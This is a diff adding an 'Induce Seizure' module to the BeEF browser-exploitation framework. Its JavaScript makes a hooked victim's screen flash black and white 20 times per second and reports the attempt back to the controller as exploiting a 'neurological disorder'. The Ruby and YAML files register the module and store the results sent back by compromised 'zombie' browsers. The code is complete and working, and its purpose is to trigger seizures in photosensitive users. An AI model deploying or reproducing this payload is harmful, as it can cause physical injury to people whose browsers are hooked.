diff --git a/modules/social_engineering/induce_seizure/command.js b/modules/social_engineering/induce_seizure/command.js new file mode 100644 index 000000000..6ab5025f7 --- /dev/null +++ b/modules/social_engineering/induce_seizure/command.js @@ -0,0 +1,31 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var flashes_per_second = "<%= @flashes_per_second %>"; + var toggle = false; + var task = setInterval(function() { + if(toggle = !toggle) { + document.body.style.backgroundColor = '#000'; + } else { + document.body.style.backgroundColor = '#fff'; + } + }, Math.floor(1000/flashes_per_second)); + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=attempting to exploit neurological disorder in OSI layer 8'); + +}); + diff --git a/modules/social_engineering/induce_seizure/config.yaml b/modules/social_engineering/induce_seizure/config.yaml new file mode 100644 index 000000000..57f07bf8f --- /dev/null +++ b/modules/social_engineering/induce_seizure/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + induce_seizure: + enable: false + category: "Social Engineering" + name: "Induce Seizure" + description: "This module causes the user's screen to flash from black to white multiple times per second.
For more information see http://www.w3.org/TR/WCAG10-CORE-TECHS/#flicker" + authors: ["bcoles"] + target: + user_notify: ['ALL'] diff --git a/modules/social_engineering/induce_seizure/module.rb b/modules/social_engineering/induce_seizure/module.rb new file mode 100644 index 000000000..b2399ee2c --- /dev/null +++ b/modules/social_engineering/induce_seizure/module.rb @@ -0,0 +1,33 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Induce_seizure < BeEF::Core::Command + + def self.options + return [ + {'name' => 'flashes_per_second', 'description' => 'Flashes per second', 'ui_label' => 'Flashes per second', 'value' => '20' }, + ] + end + + # + # This method is being called when a zombie sends some + # data back to the framework. + # + def post_execute + + save({'result' => @datastore['result']}) + end + +end